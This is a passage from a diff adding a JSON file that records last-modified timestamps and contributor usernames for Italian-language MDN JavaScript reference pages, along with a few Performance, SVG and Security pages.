+    "modified": "2019-04-09T10:38:25.595Z",
+    "contributors": [
+      "stesua",
+      "fontsie",
+      "fzancan",
+      "the-reversengineer",
+      "mikspi",
+      "pallapo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/copyWithin": {
+    "modified": "2020-10-15T22:11:36.187Z",
+    "contributors": [
+      "Airsit"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/entries": {
+    "modified": "2020-10-15T22:08:21.740Z",
+    "contributors": [
+      "cyberpro4"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/every": {
+    "modified": "2020-10-15T22:04:47.252Z",
+    "contributors": [
+      "pirlott"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/fill": {
+    "modified": "2020-10-15T21:59:11.776Z",
+    "contributors": [
+      "yazevedopure"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/filter": {
+    "modified": "2019-10-14T05:21:39.776Z",
+    "contributors": [
+      "shylockness",
+      "Easaaa",
+      "the-reversengineer",
+      "Cesarec88"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/find": {
+    "modified": "2019-06-03T13:37:19.806Z",
+    "contributors": [
+      "fedeolto",
+      "mnemosdev",
+      "Gigitsu"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/findIndex": {
+    "modified": "2020-10-15T22:35:03.644Z",
+    "contributors": [
+      "AttilioCapocchiani"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/flat": {
+    "modified": "2020-10-15T22:20:39.692Z",
+    "contributors": [
+      "bombur51",
+      "andreapavia"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/flatMap": {
+    "modified": "2020-10-15T22:27:22.552Z",
+    "contributors": [
+      "bombur51",
+      "antcolag"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/forEach": {
+    "modified": "2020-10-15T21:53:06.535Z",
+    "contributors": [
+      "IsibisiDev",
+      "azzar1",
+      "dauricchio",
+      "mnemosdev"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/from": {
+    "modified": "2020-10-15T21:59:39.069Z",
+    "contributors": [
+      "IsibisiDev",
+      "bolste",
+      "CapelliC"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/includes": {
+    "modified": "2019-03-23T22:26:46.029Z",
+    "contributors": [
+      "mnemosdev",
+      "adrisimo74"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/indexOf": {
+    "modified": "2020-10-15T21:49:15.814Z",
+    "contributors": [
+      "IsibisiDev",
+      "dauricchio",
+      "federica",
+      "adrisimo74"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/isArray": {
+    "modified": "2020-10-15T21:54:52.255Z",
+    "contributors": [
+      "IsibisiDev",
+      "inuyaksa"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/join": {
+    "modified": "2020-10-15T21:58:39.710Z",
+    "contributors": [
+      "dauricchio",
+      "gentax"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/keys": {
+    "modified": "2020-10-15T21:59:10.775Z",
+    "contributors": [
+      "yazevedopure"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/lastIndexOf": {
+    "modified": "2020-10-15T22:00:35.554Z",
+    "contributors": [
+      "AlecsFerra"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/length": {
+    "modified": "2019-03-23T22:14:01.094Z",
+    "contributors": [
+      "pirlott",
+      "mikspi"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/map": {
+    "modified": "2020-10-15T21:53:39.014Z",
+    "contributors": [
+      "IsibisiDev",
+      "lucadebort",
+      "mikspi"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/of": {
+    "modified": "2020-10-15T21:59:10.072Z",
+    "contributors": [
+      "zeroerrequattro",
+      "yazevedopure"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/pop": {
+    "modified": "2020-10-15T21:54:18.141Z",
+    "contributors": [
+      "IsibisiDev",
+      "vidoz"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/prototype": {
+    "modified": "2019-03-23T22:43:29.228Z",
+    "contributors": [
+      "zauli83"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/push": {
+    "modified": "2020-10-15T21:57:19.586Z",
+    "contributors": [
+      "bombur51",
+      "carzacc",
+      "randomBrainstormer"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/reverse": {
+    "modified": "2019-08-30T12:44:50.302Z",
+    "contributors": [
+      "duduindo",
+      "bebosh"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/slice": {
+    "modified": "2020-10-15T21:57:58.630Z",
+    "contributors": [
+      "antsam23",
+      "duduindo",
+      "SphinxKnight",
+      "ir3ne",
+      "marco476",
+      "7laria"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/some": {
+    "modified": "2020-10-15T22:08:29.350Z",
+    "contributors": [
+      "redjin",
+      "nicolocarpignoli",
+      "Gerigot"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/sort": {
+    "modified": "2020-10-15T21:58:52.025Z",
+    "contributors": [
+      "massic80",
+      "Samplasion",
+      "one89",
+      ".Ruggero."
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/splice": {
+    "modified": "2020-10-15T21:52:49.028Z",
+    "contributors": [
+      "IsibisiDev",
+      "V1LL0"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/toString": {
+    "modified": "2020-10-15T22:03:27.527Z",
+    "contributors": [
+      "IsibisiDev",
+      "dauricchio"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/unshift": {
+    "modified": "2020-10-15T22:12:57.882Z",
+    "contributors": [
+      "TinyTanic"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Array/values": {
+    "modified": "2020-10-15T22:19:37.666Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/ArrayBuffer": {
+    "modified": "2020-10-15T22:10:56.996Z",
+    "contributors": [
+      "frappacchio"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Atomics": {
+    "modified": "2019-03-23T22:08:10.595Z",
+    "contributors": [
+      "AndTemp"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Atomics/store": {
+    "modified": "2020-10-15T22:08:25.849Z",
+    "contributors": [
+      "ladysilvia"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date": {
+    "modified": "2020-10-15T22:19:36.562Z",
+    "contributors": [
+      "troystarwalt"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/UTC": {
+    "modified": "2020-10-15T22:19:32.963Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getDate": {
+    "modified": "2020-10-15T22:19:33.830Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getDay": {
+    "modified": "2020-10-15T22:19:32.824Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getFullYear": {
+    "modified": "2020-10-15T22:19:33.814Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getHours": {
+    "modified": "2020-10-15T22:19:33.745Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getMilliseconds": {
+    "modified": "2020-10-15T22:19:34.257Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getMinutes": {
+    "modified": "2020-10-15T22:19:33.828Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getMonth": {
+    "modified": "2020-10-15T22:19:35.006Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getSeconds": {
+    "modified": "2020-10-15T22:19:33.751Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getTime": {
+    "modified": "2020-10-15T22:19:32.760Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/getTimezoneOffset": {
+    "modified": "2020-10-15T22:19:34.667Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Date/now": {
+    "modified": "2020-10-15T22:19:33.212Z",
+    "contributors": [
+      "Umberto81"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function": {
+    "modified": "2020-03-02T12:38:04.753Z",
+    "contributors": [
+      "TurnuAlessandro",
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/apply": {
+    "modified": "2019-03-23T22:29:37.063Z",
+    "contributors": [
+      "bicccio",
+      "giacomocerquone"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/arguments": {
+    "modified": "2020-10-15T22:25:14.314Z",
+    "contributors": [
+      "Airsit"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/bind": {
+    "modified": "2020-10-15T22:08:09.650Z",
+    "contributors": [
+      "willywongi",
+      "mirkoAtWork",
+      "ladysilvia"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/call": {
+    "modified": "2020-10-15T22:28:06.881Z",
+    "contributors": [
+      "massimilianoaprea7"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Function/length": {
+    "modified": "2020-10-15T22:21:03.500Z",
+    "contributors": [
+      "Makkoyev",
+      "koci"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Generator": {
+    "modified": "2019-03-23T22:19:07.844Z",
+    "contributors": [
+      "nmve"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Generator/next": {
+    "modified": "2019-03-23T22:19:17.162Z",
+    "contributors": [
+      "SpartacusRoot"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Infinity": {
+    "modified": "2020-03-12T19:40:58.527Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/JSON": {
+    "modified": "2019-03-23T22:51:18.477Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/JSON/parse": {
+    "modified": "2020-10-15T21:38:37.212Z",
+    "contributors": [
+      "IsibisiDev",
+      "bombur51",
+      "giacar",
+      "lanzoninicola",
+      "lonejack"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/JSON/stringify": {
+    "modified": "2020-10-15T21:37:39.493Z",
+    "contributors": [
+      "IsibisiDev",
+      "giacomoRanieri",
+      "DavideCanton"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map": {
+    "modified": "2019-03-23T22:44:26.238Z",
+    "contributors": [
+      "SphinxKnight",
+      "cdbajorin"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/clear": {
+    "modified": "2020-10-15T22:11:39.518Z",
+    "contributors": [
+      "azzar1"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/delete": {
+    "modified": "2020-10-15T22:24:27.180Z",
+    "contributors": [
+      "AndreaCitrolo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Map/forEach": {
+    "modified": "2020-10-15T21:39:59.999Z",
+    "contributors": [
+      "azzar1",
+      "SphinxKnight",
+      "Andreaf"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math": {
+    "modified": "2019-03-23T22:38:38.335Z",
+    "contributors": [
+      "Fr4nci",
+      "Keshavanti"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/E": {
+    "modified": "2020-10-15T22:03:32.556Z",
+    "contributors": [
+      "dardino"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/abs": {
+    "modified": "2020-10-15T21:58:13.899Z",
+    "contributors": [
+      "VanDjango"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/acos": {
+    "modified": "2020-10-15T21:58:13.115Z",
+    "contributors": [
+      "VanDjango"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/atan": {
+    "modified": "2020-10-15T21:58:23.039Z",
+    "contributors": [
+      "riccardoscotti"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/atan2": {
+    "modified": "2019-03-23T22:25:36.856Z",
+    "contributors": [
+      "AlexTaietti"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/ceil": {
+    "modified": "2020-10-15T21:58:59.254Z",
+    "contributors": [
+      "altermetax"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/floor": {
+    "modified": "2020-10-15T21:58:11.241Z",
+    "contributors": [
+      "interazioni",
+      "VanDjango"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/max": {
+    "modified": "2019-03-23T22:32:55.876Z",
+    "contributors": [
+      "mariol.grimaldi89"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/min": {
+    "modified": "2019-03-23T22:20:07.766Z",
+    "contributors": [
+      "ilsergente1993",
+      "Cesarec88"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/pow": {
+    "modified": "2019-03-23T22:20:14.709Z",
+    "contributors": [
+      "Cesarec88"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/random": {
+    "modified": "2020-10-15T21:55:55.820Z",
+    "contributors": [
+      "dash1e",
+      "LoSo",
+      "Dorilama",
+      "HighSoftWare96"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/round": {
+    "modified": "2020-10-15T21:53:03.456Z",
+    "contributors": [
+      "Gnafu",
+      "DanieleCux"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Math/sqrt": {
+    "modified": "2019-03-23T22:20:01.535Z",
+    "contributors": [
+      "Cesarec88"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/NaN": {
+    "modified": "2020-10-15T21:33:03.152Z",
+    "contributors": [
+      "azuccanigra",
+      "Nonno",
+      "brakko"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Number": {
+    "modified": "2020-10-15T22:31:23.763Z",
+    "contributors": [
+      "elchap"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object": {
+    "modified": "2019-04-26T10:13:46.483Z",
+    "contributors": [
+      "massimiliamanto",
+      "wbamberg",
+      "nicolo-ribaudo",
+      "teoli",
+      "Robg1"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/assign": {
+    "modified": "2020-06-26T04:52:08.816Z",
+    "contributors": [
+      "DarioSacco",
+      "SphinxKnight",
+      "narsenico",
+      "kdex",
+      "claudio-destro",
+      "gpbl",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/create": {
+    "modified": "2019-03-23T23:05:09.020Z",
+    "contributors": [
+      "StefanoMagrassi"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/defineProperties": {
+    "modified": "2019-03-23T22:17:19.339Z",
+    "contributors": [
+      "LordKenzo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/freeze": {
+    "modified": "2019-09-19T10:26:59.453Z",
+    "contributors": [
+      "sharq",
+      "pdina",
+      "zedrix",
+      "kdex",
+      "Cesarec88",
+      "DeadManPoe"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/getPrototypeOf": {
+    "modified": "2019-03-23T22:40:55.304Z",
+    "contributors": [
+      "Andrws"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/hasOwnProperty": {
+    "modified": "2020-10-15T21:46:41.140Z",
+    "contributors": [
+      "IsibisiDev",
+      "tiberakis"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/is": {
+    "modified": "2020-10-15T21:58:52.008Z",
+    "contributors": [
+      "DanielVip3",
+      "Rawnly"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/isFrozen": {
+    "modified": "2020-10-15T22:07:54.483Z",
+    "contributors": [
+      "DanielVip3"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/isSealed": {
+    "modified": "2020-10-15T22:07:54.491Z",
+    "contributors": [
+      "DanielVip3"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/keys": {
+    "modified": "2019-03-23T23:16:28.015Z",
+    "contributors": [
+      "teoli",
+      "nicelbole"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/prototype": {
+    "modified": "2019-03-23T22:58:00.342Z",
+    "contributors": [
+      "gamerboy",
+      "fantarama",
+      "tommyblue",
+      "roccomuso",
+      "vindega",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/seal": {
+    "modified": "2020-10-15T22:07:44.226Z",
+    "contributors": [
+      "sharq",
+      "DanielVip3"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Object/toString": {
+    "modified": "2020-10-03T16:00:13.100Z",
+    "contributors": [
+      "Belingheri",
+      "claudio.mantuano"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise": {
+    "modified": "2020-10-15T21:38:08.781Z",
+    "contributors": [
+      "frappacchio",
+      "SphinxKnight",
+      "lorthirk",
+      "cipollafrancesco",
+      "AAllegro91",
+      "nbena",
+      "kdex",
+      "marcofugaro",
+      "mrbabbs",
+      "teoli",
+      "pasqLisena",
+      "lysz210"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/all": {
+    "modified": "2020-10-15T21:50:01.455Z",
+    "contributors": [
+      "afalchi82",
+      "lellefood",
+      "nbena",
+      "pinturic"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Promise/catch": {
+    "modified": "2019-03-23T22:49:42.926Z",
+    "contributors": [
+      "SphinxKnight",
+      "lysz210"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Proxy": {
+    "modified": "2020-10-15T21:58:36.083Z",
+    "contributors": [
+      "sbarex",
+      "jfet97",
+      "nuandawm",
+      "sidmonta",
+      "federicoviceconti"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Proxy/handler": {
+    "modified": "2020-10-15T22:07:04.638Z",
+    "contributors": [
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Proxy/handler/apply": {
+    "modified": "2020-10-15T22:07:00.348Z",
+    "contributors": [
+      "shb"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Proxy/revocabile": {
+    "modified": "2020-10-15T22:10:51.734Z",
+    "contributors": [
+      "jfet97"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set": {
+    "modified": "2019-03-23T22:31:04.521Z",
+    "contributors": [
+      "macolic",
+      "zandorzz",
+      "Fredev"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set/entries": {
+    "modified": "2019-03-23T22:23:12.825Z",
+    "contributors": [
+      "Gigitsu"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Set/values": {
+    "modified": "2019-03-23T22:23:11.605Z",
+    "contributors": [
+      "Gigitsu"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String": {
+    "modified": "2019-03-23T22:19:38.780Z",
+    "contributors": [
+      "lazycesar",
+      "SphinxKnight",
+      "marco1947",
+      "kdex"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/charAt": {
+    "modified": "2020-10-15T22:08:21.889Z",
+    "contributors": [
+      "ladysilvia"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/includes": {
+    "modified": "2019-06-05T12:27:29.815Z",
+    "contributors": [
+      "Umberto81",
+      "DarioSacco",
+      "afalchi82",
+      "FabioVergani"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/indexOf": {
+    "modified": "2020-10-15T22:08:20.806Z",
+    "contributors": [
+      "IsibisiDev",
+      "Clyky",
+      "ladysilvia"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/length": {
+    "modified": "2020-10-15T22:08:11.693Z",
+    "contributors": [
+      "ladysilvia"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/prototype": {
+    "modified": "2020-10-15T22:08:09.616Z",
+    "contributors": [
+      "ladysilvia"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/String/raw": {
+    "modified": "2020-10-15T22:08:05.242Z",
+    "contributors": [
+      "ladysilvia"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/Symbol": {
+    "modified": "2020-10-15T21:56:57.878Z",
+    "contributors": [
+      "fscholz",
+      "Cerealkillerway"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/decodeURI": {
+    "modified": "2020-03-12T19:41:01.758Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/decodeURIComponent": {
+    "modified": "2020-03-12T19:41:02.785Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/encodeURI": {
+    "modified": "2020-03-12T19:41:01.209Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/encodeURIComponent": {
+    "modified": "2020-03-12T19:41:01.351Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/escape": {
+    "modified": "2020-03-12T19:41:03.158Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/eval": {
+    "modified": "2020-03-12T19:39:17.387Z",
+    "contributors": [
+      "teoli",
+      "SphinxKnight",
+      "Ruggi"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/isFinite": {
+    "modified": "2020-03-12T19:41:01.244Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/isNaN": {
+    "modified": "2020-03-12T19:41:02.121Z",
+    "contributors": [
+      "massic80",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/null": {
+    "modified": "2020-10-15T21:34:19.479Z",
+    "contributors": [
+      "IsibisiDev",
+      "Metsuryu",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/parseFloat": {
+    "modified": "2020-03-12T19:40:21.865Z",
+    "contributors": [
+      "wannymiarelli"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/parseInt": {
+    "modified": "2020-10-15T21:32:05.309Z",
+    "contributors": [
+      "IsibisiDev",
+      "Molok"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/undefined": {
+    "modified": "2020-03-12T19:41:00.668Z",
+    "contributors": [
+      "AndySky21",
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/unescape": {
+    "modified": "2020-03-12T19:41:03.668Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Global_Objects/uneval": {
+    "modified": "2020-03-12T19:40:59.495Z",
+    "contributors": [
+      "nicolo-ribaudo"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators": {
+    "modified": "2020-07-06T09:58:34.217Z",
+    "contributors": [
+      "zamiky",
+      "fscholz"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Destructuring_assignment": {
+    "modified": "2020-03-12T19:45:00.588Z",
+    "contributors": [
+      "kdex",
+      "Giuseppe37"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Operator_Condizionale": {
+    "modified": "2019-03-18T21:30:29.773Z",
+    "contributors": [
+      "lesar"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Operatore_virgola": {
+    "modified": "2020-10-15T22:23:54.628Z",
+    "contributors": [
+      "ca42rico"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Operatori_Aritmetici": {
+    "modified": "2020-10-15T21:38:22.596Z",
+    "contributors": [
+      "chrisdavidmills",
+      "fscholz",
+      "wbamberg",
+      "ladysilvia",
+      "lazycesar",
+      "kdex",
+      "alberto.decaro"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/Spread_syntax": {
+    "modified": "2020-10-15T22:03:10.047Z",
+    "contributors": [
+      "IsibisiDev",
+      "spinjam",
+      "quackmore",
+      "adrisimo74"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/in": {
+    "modified": "2020-03-12T19:44:40.332Z",
+    "contributors": [
+      "ertento",
+      "Crowbit"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/new": {
+    "modified": "2020-10-15T21:50:50.688Z",
+    "contributors": [
+      "Samplasion",
+      "Giuseppe37"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/super": {
+    "modified": "2020-10-15T21:49:55.513Z",
+    "contributors": [
+      "novembre",
+      "rmkngy",
+      "Cereal84"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/this": {
+    "modified": "2020-03-12T19:41:38.881Z",
+    "contributors": [
+      "ILTORU",
+      "dr-astico",
+      "lvzndr",
+      "scurtoni"
+    ]
+  },
+  "Web/JavaScript/Reference/Operators/yield": {
+    "modified": "2020-03-12T19:42:38.456Z",
+    "contributors": [
+      "SphinxKnight",
+      "kdex",
+      "Mattia_Zanella"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements": {
+    "modified": "2020-03-12T19:38:43.909Z",
+    "contributors": [
+      "teoli",
+      "Sheppy"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/Empty": {
+    "modified": "2020-10-15T22:24:08.768Z",
+    "contributors": [
+      "dantevitale"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/break": {
+    "modified": "2020-10-15T22:33:26.688Z",
+    "contributors": [
+      "aldus65"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/export": {
+    "modified": "2020-10-29T07:25:40.081Z",
+    "contributors": [
+      "Roberto.Balducci",
+      "AAllegro91",
+      "Nico-92"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/for...of": {
+    "modified": "2020-03-12T19:44:07.898Z",
+    "contributors": [
+      "jspkay"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/function*": {
+    "modified": "2020-03-12T19:44:37.996Z",
+    "contributors": [
+      "biroplane",
+      "Samplasion",
+      "nispa",
+      "McGiogen",
+      "Nico-92",
+      "zambotn"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/import": {
+    "modified": "2020-10-15T21:50:25.119Z",
+    "contributors": [
+      "f4bo",
+      "tegola",
+      "star-ter-js"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/let": {
+    "modified": "2020-10-15T21:25:16.190Z",
+    "contributors": [
+      "Siberi0",
+      "Molok",
+      "azuccanigra",
+      "lucaing",
+      "crakdelpol",
+      "1ba1",
+      "teoli",
+      "EdoPut"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/switch": {
+    "modified": "2020-03-12T19:45:00.500Z",
+    "contributors": [
+      "sharq",
+      "lucafabbian",
+      "fsorge",
+      "federica",
+      "neclepsio",
+      "glauxbond"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/throw": {
+    "modified": "2020-10-15T22:02:39.628Z",
+    "contributors": [
+      "fsorge"
+    ]
+  },
+  "Web/JavaScript/Reference/Statements/var": {
+    "modified": "2020-10-15T22:05:48.821Z",
+    "contributors": [
+      "IkobaNoOkami"
+    ]
+  },
+  "Web/JavaScript/Reference/template_strings": {
+    "modified": "2020-03-12T19:43:06.757Z",
+    "contributors": [
+      "zedrix",
+      "sharq",
+      "manuel-di-iorio"
+    ]
+  },
+  "Web/JavaScript/Una_reintroduzione_al_JavaScript": {
+    "modified": "2020-10-03T10:20:38.079Z",
+    "contributors": [
+      "matt.polvenz",
+      "tangredifrancesco",
+      "igor.bragato",
+      "microjumper",
+      "maboglia",
+      "e403-mdn",
+      "clamar59",
+      "teoli",
+      "ethertank",
+      "Nicola_D"
+    ]
+  },
+  "Web/Performance": {
+    "modified": "2019-08-09T16:36:45.228Z",
+    "contributors": [
+      "estelle"
+    ]
+  },
+  "Web/Performance/Percorso_critico_di_rendering": {
+    "modified": "2019-10-26T07:16:57.508Z",
+    "contributors": [
+      "theborgh"
+    ]
+  },
+  "Web/Reference": {
+    "modified": "2019-03-23T23:17:01.442Z",
+    "contributors": [
+      "Nickolay"
+    ]
+  },
+  "Web/Reference/API": {
+    "modified": "2019-03-23T23:17:02.060Z",
+    "contributors": [
+      "klez"
+    ]
+  },
+  "Web/SVG/Element": {
+    "modified": "2020-11-09T06:43:40.808Z",
+    "contributors": [
+      "nicola.tarallo.zebb"
+    ]
+  },
+  "Web/SVG/Element/animate": {
+    "modified": "2020-10-15T22:17:04.015Z",
+    "contributors": [
+      "maicol07"
+    ]
+  },
+  "Web/Security": {
+    "modified": "2019-09-10T16:35:57.576Z",
+    "contributors": [
+      "SphinxKnight",
+      "Sheppy"
+    ]
+  },
+  "Web/Security/Password_insicure": {
+    "modified": "2019-03-18T21:40:50.724Z",
+    "contributors": [
+      "oprof"
+    ]
+  },
+  "Web/Tutorials": {
+    "modified": "2019-03-23T22:46:08.934Z",
